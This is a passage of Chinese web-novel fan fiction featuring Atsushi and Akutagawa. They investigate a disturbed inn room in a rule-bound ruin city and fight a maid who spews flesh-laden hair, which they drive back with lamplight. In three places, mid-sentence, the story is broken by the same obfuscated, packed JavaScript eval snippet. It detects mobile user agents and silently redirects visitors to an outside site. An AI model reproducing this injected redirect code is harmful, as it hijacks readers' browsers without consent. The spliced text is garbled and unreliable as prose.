话毕，中岛敦自个儿倒吸一口凉气。他略带不安地抬眼看着站在一旁的芥川：“芥川，事情好像，有点麻烦了。” 18. 神明遗迹（十四） 偌大的旅客房间里，靠近窗边的角落处，有好几圈断裂的绳索包绕着床脚。 零星的血迹从床脚一直延升，形成几道杂乱无章的拖痕，直至窗边终止。 半开的窗上，四指的手印向内，无声地诉说着曾有人在此处，慌不择路。 没有人知晓这里曾经发生过什么，只是当凌乱的场景展示在芥川与敦眼前的时候，情感共通力更强的敦还是感到心脏被悄悄攥紧了。 “我很确定，这是昨日夜晚，被旅店的服务生带上来，让我居住的房间。”敦回头再次确认了还没合拢的房门，外侧两指宽的挂牌上标记的门号：“0429，我昨日还刻意记了一下。” “今早从房间离开外出时，窗边还没有这些印记。” 白虎少年仔细回溯自己的记忆，无比确信：“倘若我昨日真的在这间房里看见了被你绑在床脚的‘待捕罪犯’，我绝不会一大早就离开的。” 中岛敦其人，在对待工作方面的认真负责态度，常常为黄昏与黑夜合作双方所认可。 追捕这些偷渡者之前，小白虎还特意记住了这些罪犯的身形、着装特征——更何况，他们的穿着本身就和赫尔城原住民有着较大区别。 芥川当然知道他不会在这方面有所隐瞒。 但摆在二人面前的景象却和他们所知晓的一切有所出入。 芥川上前，到达窗边，捡起地上断裂的几圈麻绳。 其上的断口处有着明显的麻草飞扬，如同炸毛的刺球样痕迹，显然是被什么并不算锐利的东西一点一点磨断的。 “人虎，你是在什么时候来到这里的？” 敦低头，陷入回忆：“大约是太阳西沉，最后一丝夕阳光线没入地平线的时候。” “我因为在城内帮了几个原住民的忙，很容易从他们的嘴里得知了‘赫尔城午夜钟声敲响前需要找个住所’的消息。” “但问及为什么需要这样时，他们只说是因为赫尔城有夜晚城禁的规则。” “我想着在别人的地盘上，还是尽可能遵守规则会比较好，于是就在他们的推荐下来到了波的旅店。” “据说，这个旅店是专供外邦友人居住的地方，在这次婚礼之前，这里受城中心‘女皇大人’的指令，为所有旅客免费提供居住至休沐日。” 芥川将已经被损毁的绳索捡起来，扔进自己的储物水晶。 这是他从外面带进来的公用品，即便损毁，也需要拿回去进行记账报销。 “在下是在夜晚降临时离开的这间房的。这卷绳索，是太宰先生那边制作的追捕用具。”芥川垂眸，冷静地向中岛敦陈述：“倘若按照你所说，我们大约是在同一时间离开、进入这间房的。” 太宰治在工作用具这方面向来不会随意用东西糊弄，捆绑用具、抓捕用具不论基础材质是什么，都会额外在其上附加一些用于稳固的魔法。 有了这些魔法，这些看起来普通的道具耐用度就会更高，相应的，损毁的方式也就会更艰难。 “正常而言，旅店绝不可能将不同的旅人带进同一间房间。这是说不通的。” “更何况，这一层不止有一个房间。” “倘若不是因为旅店的失误，那在下只能想到一个解释——我们于昨日进入了不同的赫尔城，并在相同的时候，来到了同一个旅店，被分配了同一个房间。” “而这也是我们之间，从进入赫尔城开始，就一直没能相遇的原因。” 芥川说着，抬眼淡淡瞥敦：“在下原本以为是你太蠢，连路上的记号都没看见，才会一整日都没能遇见。现在想来，情有可原。” “啧，所以你这家伙，不是真的想甩掉我？”敦咬牙，看着眼前这个口是心非，欠打至极的男人，小小地翻了一个白眼：“不过话说回来，就算你真的留了记号，我也不一定能认出来并知晓你的意思吧？” “你在做这些事情前根本就没有提前和我商量啊！” 芥川扯下桌布，在窗台上的血痕处轻轻擦拭。 布料上仅仅只有轻微的血痕，干涸的血液凝固于墙面上，成片成片的血块裂出蜘蛛网般的张牙舞爪的形状，显得触目惊心。 “有什么商量的必要？反正也只是做做样子。”依照血液凝结的情况，再次证明了出事的时间已经不短。 “至于标记，也只是鄙人随手画的十字架。”芥川说这种话的时候相当理直气壮，但好脾气的中岛敦对此敢怒不敢言。 “所以，你的意思是，我们陷入了两个时空？”白虎少年皱眉：“这种话总得有些依据吧？还是因为根本就是你依照现有的情况随口一说？” “仅仅因为这间房屋里出现了同时发生的事情？” “虽说也有些道理，但说不定也是因为这座城里有人会空间类型的魔法，似的两个房间重叠了也不无可能吧？” 芥川浅浅睨视在一旁做出各种假设的敦，目露鄙夷：“所以说，太宰先生怎么会看上你这样的笨蛋？” “从昨日你进入这里开始，有发现城里与魔法相关的东西吗？” “这整座城里的生活情况，分明和记载历史的书籍上写的诸神黄昏前的无魔法时代有着极大的重合度。” 这一番话使得白虎少年当即闭上了嘴。 回忆之中，被马拉着的板车，街道上叫卖的各个摊位，乃至最原始的建筑、四通八达的街道上，的确没有任何同“魔法元素”相关的事物。 甚至连外界最原始的“炼金术”房都不存在。 人们日常中，还在用着生火的器具以及锅炉。 着装也是不知道从哪里找的，用一块布料做出蔽体连体衣衫的奇怪设计。 一切的一切，都同很早之前记载“古老历史”的远古书籍有着不谋而合之处。 但那些书籍从未被真正证实过。 “这谁能想到啊。”白虎少年喃喃：“不如说那种读物简直就像是哄孩子的睡前童话。” “难不成，这还真是传说中的‘神明遗迹’？难道那不是被设计出来的谣言么？” 芥川并不会对这种问题进行解释。 或者说，打从一开始，他就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15962298|177699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没将敦当作自己的搭档。 现在的寥寥几语，也只是迫于太宰治的要求，不得不遵从的“指示”罢了。 “除此之外，在下认为，依照当前这座城市展现出来的技术，根本没可能在任何情况下令两个房间里的东西进行重叠。” “更何况，目前看来，除了这样的解释，没有更合理的了。” “遗迹之中会产生多个空间这样的例子也并非没有。” 芥川低头，将昨夜收集到的两本规则手册取出，放到中岛敦眼前：“不如仔细看看这东西，发挥点你的作用。” 令芥川产生“双重空间”的根本原因，其实是因为不久前，中岛敦曾无意说出的“雾散后，看见芥川凭空出现在了喷泉边”这样的话。 尽管那时的白虎少年对此并未产生过多赘述，却依旧令芥川对此起疑。 依照敦的性格，他绝不会在答应遵守城内居民清晨钟响规则之后再触犯城禁，而芥川夜里从咨询处资料室窗户跳下来之时，正正是清晨钟响。 彼时，迷雾正开始散去。 “喂，人虎，你早晨离开旅店的时候，外面的雾大吗？” 敦正认命地翻动、阅读着被芥川扔过来的东西。 对于这种文字活，其实他也不算擅长，但看在这上下两册的规则手册仅仅只有几页纸的份上，他还是勉强忍受下来了。 由于看得太认真，以至于他的回复是完全潜意识里的，不含有任何作假的可能性：“啊？我出门的时候，没什么雾气了。那时候赫尔城街道上的店铺都开门了，摊位也陆陆续续在上架各自的东西。” “因此在问到有关咨询处的消息后，我就选了一个最近的，打算探查一下情况，顺便看看能不能找到你或者和那群偷渡者有关的线索呢。” “说来也挺吓我一跳，我刚进那个通道，只是晃神了一下，就看见芥川你好像是凭空出现在面前，还一股脑地向着喷泉雕像走过去呢。” “喊你也没有回答，眼睁睁瞧着你一副要踩到水里去的样子。” “真看不出你还有这样的爱好。” 敦埋头一条一条看着规则手册，很快看完一整页后翻页。 芥川很清楚，自己在敦描述的那段时间里，在雾气中经过无数次“水流声”的街道。 按照当时赫尔城各个店铺已经开门，摊位摆出来的情况来看，两个人的经历绝对算不上统一。 而敦无心的一句“突然出现”，恰恰佐证了他先前的猜想——或许他真的，在无意之中，和那群偷渡者罪犯一起，进入了另一个空间，并在那个空间之中，度过一段时间。 而今日，他又在雾气之中来到了这个空间，并在清晨，被中岛敦唤醒。 而他们之间最大的不同，就是最初进城之时，芥川从那辆车上跳下来，单独行动。 “在下很早就想问了，你是怎么和城里这些一直重复自己动作，如同设定好的程序一样，只会回复你固定几句话的‘人’交流的？” 在第二页里正正翻到奇怪东西的中岛敦当即抬头。 19. 神明遗迹（十五） “他们很正常吧？不论是行为还是回应，从来没有你说的那种状态。”中岛敦皱眉。 他将手册摊开的页面对准芥川：“好吧，你是对的。我承认，我们的经历确实不同。” “而不同的缘由，或许与接触到的城市本身有关。至少，和这些规则脱不了干系。” 顺着他的指引，规则手册之上的字映入眼帘： 【规则手册：】 七、我们真诚地欢迎所有来到赫尔城的旅人，但对于偷渡者，我们绝不姑息。 八、如无必要，请勿打扰咨询处二楼主教先生，他每日事务繁忙，如有怠慢，请谅解。 九、主教先生热情好客（后面一行被用墨水涂掉了），他会用最高的礼仪接待每位旅人。 十、请勿在赫尔城禁区内随意穿梭，如有意外，请寻找最近的咨询处负责人，他们会为您提供解决方法。 十一、请不要错过赫尔城内的推荐游玩场所，这里一定会为您带来别开生面的体验。 十二、请不要进入雾中，以免迷路。 十三，倘若迷路，请您按照水流声作为指引，寻找方向。 十四、赫尔城内鲜少升起雾气，您只需要在雾气升起时选择合适的场所即可。 十五、赫尔城是一个充满爱的城市，我们希望每位来到这里的客人都能体验到爱，也对充满爱的客人报以最大的尊重。 十六、秩序神明崇尚高洁的情感，相信您也对此感到认可。 十七、请每位客人确认自己在赫尔城内的生活时间，不要错过休沐日。 十八、休沐日是（后面一行被墨迹涂掉了，后面用潦草的字迹写着：只有许可银币才是赫尔城内的通用物品？又被线条涂改划痕，确认时间，确认时间，确认时间!!!），当您在休沐日前完成全部对赫尔城内的推荐体验，一定会在这个时间里得到不错的赞许。 十九、欢迎加入赫尔城。 二十、错过休沐日是不可饶恕（凌乱的笔记在其上反复涂改，只能依稀辨认出最底部的词汇，休沐日是第几日？），但我们永远对亲爱的客人宽容，您会爱上休沐日。 二十一、倘若您曾有别的信仰神明，请在进入赫尔城后遗忘，赫尔城只遵从秩序神明的教诲。 二十二、该规则为赫尔城的总述规则，在其余私下执政区可能存在不同类型的规则案，原则上我们不允许附属规则与总规则相违背。对于其余执政区应当存在，并有充分维护秩序功能的提案，我们永远认可。 二十三、请每位旅人在新的执政区内注意附属规则，并尽可能遵循。 二十四、赫尔城内存在执政者。 【以上便是上册规则手册中的全部内容，我们真诚地希望能为每位旅人解决您在赫尔城内遇到的所有疑虑，并为您在城内的生活带来良好的体验。但迫于秩序维护的需要，当您违背规则次数达到一定数目时，我们不得不采取对应措施，将您依照规则进行一定程度的惩罚。希望您能理解并支持我们的工作。 秩序之神在上，我们永远热情，永远充满爱，永远为守护秩序权柄而付出一切。】 规则越往后，就越发难以捉摸。光是存在着的二十四条规则里，就有不少自相矛盾，逻辑混乱的条文。 更遑论这些规则还被人用笔随意涂改勾画，看起来完全不像是一份用于引导陌生旅人的规则文案。 “所以，在下是偷渡者？”芥川将其悉数看完，得出结论。 “就因为我私自进入的城池，没有跟着你坐那辆看起来破烂不堪，充满不确定因素的板车？” 他似是觉得有些好笑，说话间不自觉带着一贯的嘲讽。 中岛敦在一旁不吭声，并不对此有任何评价。 “所以，走入雾气之中的人会迷路？”芥川龙之介轻哂：“在下只是不小心才进去了，但结果看起来，也并非有所好转。” “更何况，比起迷路这样的说辞，在下认为，更像是走入雾中的人，会失去目的、方向，更像是什么被迷惑心神的人。” “看起来，这座城市完全不像是一个正常的遗迹啊。” 两个少年相对而立，在长久的沉默里，中岛敦突然发出疑问：“所以，这个所谓的各自执政区，是什么地方？我们待在这个城市里的每个不同地方，都得遵守它附加的条条框框的规则吗？” “比起这个，在下想，那个所谓的‘许可银币’看起来是目前为止更令人在意的东西吧？” “所以，我们俩之间有人见过这个东西吗？” 两个少年面面相觑，在这一瞬间，默契地感到不妙。 中岛敦面向芥川，在言语之间，突然疑惑道：“芥川，外面的天有这么黑吗？” 他不经意扫过芥川身后的窗户，窗棂外，天色是被墨色的水彩泼上去的的浓黑。 “我记得，我们来波的旅店之前，天色刚亮吧？” 芥川顺着敦的疑问回头，抿紧的唇角无意间宣泄了少年的不安。 “不可能。” “清晨的钟声响过之后，我们相遇、回到这里。” “无论这个天色如何，都不可能在短短的时间里，从早晨到晚上。” 垂耳兔少年顺势从窗户向下望去，地面之上，没有预想之中热闹的集市，听不见任何的喧哗，不属于他昨日看见的机械脸谱化的叫卖吆喝，也没有中岛敦口中的“鲜活气息”。 一望无际的白雾，浓密地仿佛粘稠的白纱质地，将整座城市笼罩在一起，下半截里，不能透过任何的东西。 “你有听到过规则里说的第二次、第三次钟响吗？” 话音落下，屋外传来极长的三声钟鸣。 “铛——铛——铛——” 与此同时，屋内附和三声短促的敲击音： “咚、咚、咚。” 敦还沉浸在这恰如其分的钟声之中，这钟鸣就好像是顺应了两个人之间的推测，为了符合他们内心的想法而响起的模板。 没有想到两面夹击之下，身后的屋内还有这别的声音响起，当即被惊得当即回头。 门口，一个穿着女仆装的服务生正正站在门外，面带微笑，保持着用手触碰门框敲击的动作。 她一只手放在身前的围兜上，丁字步站立，显得温和有礼。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15962299|177699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 见到屋内的两位客人应声看了过来，服务生小姐的脸上笑容显得更加真切：“您好，客人，请问需要客房服务吗？” “我想，你们的房间内蜡烛可能有些告急，介于这些方面，前来向你们问好。” 中岛敦在这温温柔柔的问候里感到相当不适应，用手挠了挠后脑勺，单手撩过耳畔的发丝：“我想，不是很需要呢。” 得到答案的服务生笑容微微收敛，但她依旧站在门口，保持着同样的动作，歪头重复：“您好，客人，请问需要客房服务吗？” “我想，你们房间内可能遇到些麻烦，介于这些方面，前来向你们问好。” 重复的第二次就显得相当莫名其妙了。 饶是中岛敦再单纯，也察觉到有些不对劲。 局促缓缓消失，白虎少年站直身体，摇头：“不好意思，我们不需要。” 服务生微微抬手，快速敲击门框三次：“咚、咚、咚。” “您好，客人，请问需要客房服务吗？” “波的旅店所有工作人员，竭诚向您问好。” 第三次话语里，服务生的言语显得有些鬼气森森。 声线依旧温柔，却莫名透露着些许的空洞。 看起来，就像是芥川口中，只会循环回答同一问题的npc，需要得到模板之中相应的指令，才能进行下一步的动作。 就像是，充满了秩序。 敦感到摸不着头脑，动物的危险本能叫嚣着让他不要靠近，但这么一个人站在房间门前，却着实让人心里不安。 加之芥川还在身后，一脸深沉地打量着门口这个服务生小姐，几番权夺之下，白虎少年深吸一口气，迈步向门口而去。 “我想，我们真的不需要。” 他单手触碰到门，准备将这扇半开的，被他们二人忘记的美德复原时，身后一直沉默着不说话的垂耳兔少年突然沉声，极快地发出命令。 “人虎，后退！” 即便二人在此之前从未真正意义上搭档过，但中岛敦却对芥川的命令十分敏感。 几乎是令行禁止，他迅速后退。 也许是巧合，在他松手退后的动作下，窗外突然吹进一阵风，一直向内，吹灭了靠近门口的那几根蜡烛。 从服务生所站处向内几乎呈扇形阴暗下来。 光芒闪烁，敦正正退后到黑暗与光明之间的分界线后。 而这急促的动作与高强度绷紧的精神的状态之下，他突然注意到了一点在靠近之前没注意到的东西。 门口的服务生小姐从敲门之初，鞋尖就紧紧贴紧房门与走廊向合的那条线。 严丝合缝之下，她这样的姿势原本应当十分好敲击向内开的门扉，却偏偏抵着门框，快速敲击三次。 这是一个极其别扭的姿态，在这样的动作之下，她的一边肩膀完全向后打开，另一边却妥善地内收，以方便手放置在身前。 而她始终站立在走廊向内照射的光芒死角处，阴影随行。 随着蜡烛熄灭，光芒消失，她脸上模糊的表情突然真实起来，就好像她已经等待这一刻很久了。 20. 神明遗迹（十六） 阴暗之中，服务生眯眼微笑，张开口，发出的声音却不再甜美可人，反而带着说不清的嘶哑，仿佛有什么堵塞在喉咙之中：“您好，客人，我们竭诚为您服务，希望您在波的旅店有着良好的生活体验。” 随着她一字一语说出的话越来越多，她的语调就越来越慢，倾吐之下，嘴里有什么东西在阴影之中一同涌动出来，仿佛是大团大团的蚕蛹般的东西。 中岛敦原本以为这是模糊的阴影之下字迹眼花缠身的错觉，但当他定睛看去，属于白虎的夜间视力十分不妙地发挥作用。 他不得不相信自己没有看错。 服务生的每一句话，都吐出了一团缠绕在一起，杂乱的黑发。 这些黑发之上沾染着层层叠叠的点点猩红色碎屑，使得这些东西随着吐出的动作如同涌动的虫体，看得人恶心至极。 “这什么东西。”这下用不着芥川的提醒，中岛敦自己都在向后退。 随着这些黑发不断涌出，它们逐渐堆积在服务生脚下，随之向外攀升，就像是妄图缠绕树木主干的寄生藤蔓，一点一点地寻找着它的宿主。 它一点一点在黑暗的阴影下搜寻着猎物，隔得最近的中岛敦方向无疑聚集了绝大多数的黑发。 它们毫无疑问将中岛敦当作猎物。 随着黑发蔓延，阴影也逐渐扩大。 它们最初只能存在于黑暗之中，靠着阴影才能有所露头的机会。 当它们接近蜡烛产生的光时，最表层的黑发之上很快产生燃烧后腐烂的蛋白质气味，连同肉屑一起，变得干瘪枯焦，紧紧黏贴在地板之上。 从始至终，没有一丁点儿火星子产生。 但当黑发的数目越来越多，这些被光所抑制的东西就不再遵循此规律，而是自己创造阴影。 下层的头发团在最表层的头发团下不断向前蠕动，直至越来越多的蜡烛被吞灭，中岛敦才惊悚地察觉，这些肆意蔓延的东西表层还有一些不易被人觉察的透明粘液。 简直就像是用来包裹、缠绕、消化那些肉屑的东西。 “真是的！”中岛敦从地面跃到桌子上，双手撑着桌沿，浑身肌肉紧绷：“这些东西是什么玩意儿？看起来恶心死了。” 白虎少年试探性地将手伸出去触碰那些黑色的阴影，接触的前一秒，浑身毛发炸开，猫科动物的本能叫嚣着令他远离。 那些黑色的毛发却如同长了眼睛一般，不依不饶地追缠上去，仅仅沾上一点儿，指尖的皮肤便迅速溃烂。 没有一丁点儿血痕。 “嘶。”敦迅速将沾染了黑色液体的那段指尖削掉，随后，属于他种群独有的急速生长、复原天赋立刻起效，削掉的部分很快又长了回来。 “总算是知道为什么这些该死的头发上面有血块了啊。”中岛敦成功用实践证明了这些东西来者不善，咧开嘴朝一旁始终袖手旁观的芥川不满：“我说，你这家伙，站在旁边看戏这么久，到底有没有发现点什么啊？” 屋内所有的光亮都集中在床边的小小一亩三分地，而这些东西看起来又极其欺软怕硬，使得垂耳兔青年始终悠闲至极。 等到门口的烛光被一点点灭掉，这些黑色的发丝却迟迟不往敦的方向收拢，宛如戏弄猎物的捕手一般，晃悠悠地不停蠕动着，其上碎裂的肉屑翻涌着红白色的浪，隐隐有腐烂的气味散布在空中。 令人作呕。 中岛敦能踩的干净光亮处被不断缩减，直至最终，门口仅仅剩下能容纳下他一个人的空处，芥川龙之介才出声：“好了，你过来吧。” 这一声令敦如蒙大赦，当即翻身，手掌撑地，借力将自己抛向空中，窄腰在空中完成一把漂亮的长弓。 黑色的发丝感受到被圈住戏弄的猎物竟然暴起有逃走的趋势，当即堆叠起来，宛如被挑衅的蛇类，细长的一条条扭曲着身体，飞速去拦截那道在电光火石间已经弹开数米远的身影。 中岛敦维持着翻身的动作，借力的高度足够他触碰到最高点。 黑靴重重踏在天花板上，敦腿部的肌肉紧绷，紧身的长裤隐隐能看见充满爆发力的线条，下一刻，这只灵活的白虎将自己整个甩到了芥川龙之介站立之处。 敦弹射过去的动作多少存了点报复心理，以至于他最后收势的动作分明是冲着芥川的脸去的。 芥川目光暗沉，啧了一声，随即单手握住那只腿，借力想要让空中的人自作自受，脸朝地。 白虎少年的体术显然不错，旋即双腿夹持芥川的胳膊，在空中转身，单手单腿撑地以维持平衡。 空旷的房间里，两个互看不顺眼的“临时搭挡”就维持着这么一个拽腿纠缠的姿势。 他们的对面，光亮界限之外的黑暗处，门框外的服务生还站立在头发堆中间，翻涌的黑色波浪不断被光灼灭又填补上空缺。 “我说，一声不吭就用眼神怂恿我去看，现在又抓着我不放，你这别扭的家伙究竟想干什么啊喂！” 敦的脚踝被那只修长的手死死抓住，颇有些不自在，色厉内荏地质问。 不知是否是错觉，芥川隐藏在发梢中的耳朵隐隐有些泛红，但垂耳兔青年面色不显，煞有介事地松开手，单手握拳在唇边咳嗽了一声：“在下以为，你会很愿意和人交流锻炼自己的人际交往能力。” “毕竟你除了一张博好感度的傻瓜脸以外，实在看起来毫无用处。” “没想到你反应这么大，直接把人家吓成了这副模样，头发疯长。” 敦简直瞳孔地震，难以置信地盯着芥川那张终年如一日的扑克脸：“你是芥川吧？没有在刚刚被什么东西夺舍对吧？” “你怎么能对着这种东西，说出这么恶趣味的冷笑话？” “这分明是太宰先生才能做出来的事情啊！” 垂耳兔青年向来只听自己想要听的东西，对于这种莫须有的指控，芥川选择装作没有听到，看着门口翻涌的发丝。 这些头发已经开始向天花板蔓延，作势要将整个0429客房包裹完全，看着门口那个“头发源泉”精神状况整个不太妙，不停呢喃着要“帮助客人”的服务生源源不断地产出这些古怪至极的东西，突破到他们这个位置也不过迟早的事情。 “喂，出去的通路完全被堵住了啊，我说，要不我们换个方向走吧，不出去迟早会变成那些缠绕在头发里恶心东西的一部分啊！” 中岛敦站直身体，伸出食指轻轻戳了戳芥川的肩膀，犹豫着是否要翻窗离开，以求摆脱这一屋子令人感到生理不适的头发。在收到凉凉的一眼后，他又略怂地向外挪了挪步子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15962300|177699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “在下认为，如果你迫不及待想成为像昨夜失踪的偷渡犯一员的话，大可以现在就翻出去。” 芥川转身，不慌不忙地打开手中规则手册的下半册。 “什么意思？”敦略略愣住，而后，那些血痕和掌印再度出现在眼前。 “啧。如果是这样，那还真是很黑啊。”敦脑中灵光一现，暗骂出声。 倘若赫尔城中真的存在两个世界线，并且这两个世界线会在不同时间里经历类似的事情，分裂又重合，那么昨夜，床边、窗边留下的印记就必然是真实的。 依照手册的规则的提示，钟声也许就是这当中时间、空间改变的关键点。 那么，当昨夜这些好容易挣脱开束缚的“罪犯”在听见敲门声后会做什么呢？ 逃跑。 他们并不知晓芥川究竟什么时候会回来，但作为被他逮捕并绑在这个房间的“罪犯”，他们很清楚一旦被带出去后会面临什么下场。 更何况，他们违背城邦法令，擅自进入遗迹的主要目标是寻找并占据这个疑似神明遗迹中的“宝物”。 一旦被官方人员逮捕以后，他们不仅将面临城邦法律的制裁，还将失去再次进入这间遗迹的资格。 在这样的压力之下，这些被逼到绝路的“罪犯”们解开束缚的第一件事必然是快速逃离这个地方。 但当他们做出这个决定的时候，门突然被敲响了。 此时此刻，作为房间中的预备逃离者，在清楚开房间的主人并非自己的情况下，要做的事情是什么呢？ 在不惊动这间旅店人的情况下，从另一个出口离开这里。 旅店并不算高，他们这一层也堪堪四层，想要离开不过是一个绳索类道具的事情。 所以，窗边、窗边才会出现类似绳索的勒痕。 “倘若你仔细观察过，就会发现这些心虚的家伙们在离开之后，又在短时间内慌不择路地逃了回来，还带着一身莫名其妙的伤痕。” 芥川在仔细查看下半册规则手册后，将摊开的手册随手放在梳妆台上，突然向着靠近黑暗边的橱柜而去，打开柜门，翻找起来。 “这些急着离开的人，倘若不是遇见了什么难以抗衡的事情，是绝不会在短时间内就原路返回的。” 这些机敏的“罪犯”利用绳索，争先恐后从窗边逃跑，又在不久后突然慌不择路地争相从窗口爬回来，所以窗棂之上，才会出现这么多向内的红色掌指印。 “而能逼得他们回来，甚至不惜面对可能会惊动旅店服务员，乃至于在下的结果，必然是从窗户向外，让他们遇见的这件事足以威胁到他们的生命。” 芥川从橱柜深处摸出来一颗被揉成一团的纸球，慢悠悠地向敦解释。 他将纸球打开，挑挑眉：“好了，找到了，我们要的东西。” “嗯，忘了告诉你，昨夜，鄙人在咨询处的二楼看见了一种和门口这东西有着相似本源气息的东西。” “很遗憾，你应当已经发现了，在这里，除了那身没什么用的腱子肉和与生俱来作为神赐的生命天赋外，作为人虎的你基本没办法动用强劲的元素魔法去对抗这些东西。” “我们根本没办法去触碰这些‘怪物’，姑且认为，除了暂时性地遵守这里的规则外，我们别无他法。” 21. 神明遗迹（十七） 敦适时地凑过去，看那本用薄薄几页纸构成的“书籍”，摊开的页码最前面，用红色的字迹清晰地标注着： 【各位赫尔城居民｜及工作者请注意，规则手册一式两份，该卷下半册为各位赫尔城城民所用，请注意保管。我们原则上希望各位城民能以此为参考，以维持赫尔城的正常运转。 该规则供普通民众所用，具体规则要求同各位城民身份及工作环境有所出入，请各位引起重视，以便于赫尔城日常工作的正常运行，谢谢。】 其下是零散的几条规则： 一、亲爱的城民，请相信你是赫尔城的一员，并时刻认清自己的身份。 二、作为赫尔城的一份子，每位城民都有责任帮助赫尔城最尊贵的客人们完成他们的心愿，以便客人在赫尔城得到良好的生活体验，以增加赫尔城的爱与和谐。 三、规则手册内容是最重要的，每位城民的身份标志，请仔细阅读，并牢记其中的内容，以防止出现突发事件时，作为赫尔城的城民忘记如何处理。 四、依照规则制定，赫尔城分不同区域进行分部管辖，请各位居民牢记自己的所属区域与身份，并在进入区域时寻找对应区域的特别规则，以方便后续工作的进行和保障每位城民权益。 五、请坚信，赫尔城是一个充满爱与和谐的地方，规则是为了维持秩序所必需的条件。 六、原则上，作为赫尔城的一员，必须在工作时间内对客人提出的疑问与要求进行解答。 七、非工作时间内，赫尔城城民有权自己处理生活时间。 八、不要靠近城中心，除非你是咨询处主教及以上成员。 九、工作时间不得随意靠近咨询处，非工作时间不得随意打扰咨询处主教工作。 十、倘若你正在接受预备城民的询问而无法解决，请推荐他们前往咨询处询问工作人员，这是必要的过程，希望你能接受并执行。 十一、你需要在钟声敲响前回到自己的住所，记住，属于你的工作时间为清晨钟声敲响后和午夜钟声敲响前。 十二、倘若你身处于正确的工作时间点，你见到的一切事物都是正常的，这一点请不用怀疑。倘若你身处于错误的工作时间点，请尽快前往咨询处门前，并向许愿泉中忏悔完毕后，就近寻找可供栖身的地方，睡觉直至正确的工作时间点到来。 十三、不要试图在雾中寻找正确的方向，这是不存在的。 十四、最好不要进入雾中，倘若你不幸进入其中，请闭上眼，向着水声方向而去，但请不要踏入水中。 十五、倘若你对自己的身份存疑，不要疑惑，这是因为你被异常来源干扰了自己的思想，请尽快告知咨询处主教相关内容，直至清除异常来源，恢复正常。 十六、光与暗不可共存。 敦将其上的内容草草看完，不同于规则手册上册中严谨而温和的条例，下册的内容显然更具有迷惑性。 “这什么东西？混乱得让人头痛，和我们现在遇到的东西有什么联系么？” 中岛敦捏着这几张纸，头痛至极。 门口不断叠加的发丝在一分一秒内逐渐增多，门口的服务生小姐仿佛在用这种方式将他们一步步逼到绝境。 白虎少年被这样的气息刺激得浑身毛发炸开，精神高度的集中对他而言无疑是一种极大的负担：“喂，芥川，你再打哑谜，我们可就要死在这里了！” “人虎，冷静点，最好把你那没用的脑子封闭起来。” 芥川龙之介的声音在翻涌的腐臭与黑暗里异常清晰，带着一种近乎冷酷的笃定。 他单手捏着那团纸球，另一只手还放在橱柜门上。 房间角落镶嵌在墙内的深色木质橱柜。安静地放置在那里，芥川手指触碰到冰凉的门把手时，那股难以言喻的粘腻感使得他并不想二次开启这扇门。 芥川展开那团纸张，其上不止是谁，用凌乱的字歪歪扭扭地写着“点燃油灯”“旅店手册”“快逃”等词汇。 芥川将其重新揉成一团。 那声钟响后，不只是房间、时空的交叠错乱，好像连橱柜本身都在渗出某种不祥的湿气。 芥川还在寻找。 几盏样式古旧的黄铜油灯静静立在最上层，灯油几近全满，旁边放着几盒长柄火柴。油灯下方，压着一本薄薄的、封面没有任何字迹的褐色羊皮册子。 芥川顺手将火柴连同油灯抛给敦：“人虎，把它点燃。” 白虎青年迅速上前接住，飞快地划亮一根火柴。 微弱的火苗在阴冷的空气中跳跃，瞬间驱散了眼前一小片令人窒息的黑暗，也映亮了敦脸上紧绷的线条。他将火苗凑近油灯的灯芯。 “嗤——” 灯芯贪婪地吸吮着火焰，迅速燃起一朵稳定而温暖的橘黄色光晕。 几乎就在灯光亮起的同一刹那，那些正疯狂涌向光亮边缘、不断吞噬、侵蚀屋内烛光的黑色发丝，如同被滚烫的烙铁灼伤般猛地向后收缩。 细小的轻响伴随着蛋白质焦糊的气味弥漫开来，最外侧的头发瞬间蜷曲、炭化，化作一缕缕难闻的青烟。 “有用。”敦精神一振，立刻将点燃的油灯举高。 芥川自然关注着这一切，他沉思片刻：“喂，你拿着灯，试着走过去。” 尽管中岛敦对此感到疑惑，但他仍旧照做了。 橘黄的光圈像一道无形的屏障，坚定地向外扩张。光芒所及之处，翻涌的黑色浪潮如潮水般退却，发出一种细微而痛苦的“嘶嘶”声，仿佛无数细小的生灵在哀鸣。被光芒逼退的发丝在阴影中扭曲缠绕，显得更加狂躁不安。 “芥川！”敦的声音带着一丝惊悸与不确定：“啧，那是个什么东西？” 他提起油灯，大胆地走入黑色的发丝潮水之间，光亮笼罩之中，他隐隐看见门口那道身影看起来有些“不一样”。 这光亮明显不同于烛火，显得更为强势而不可阻挡。 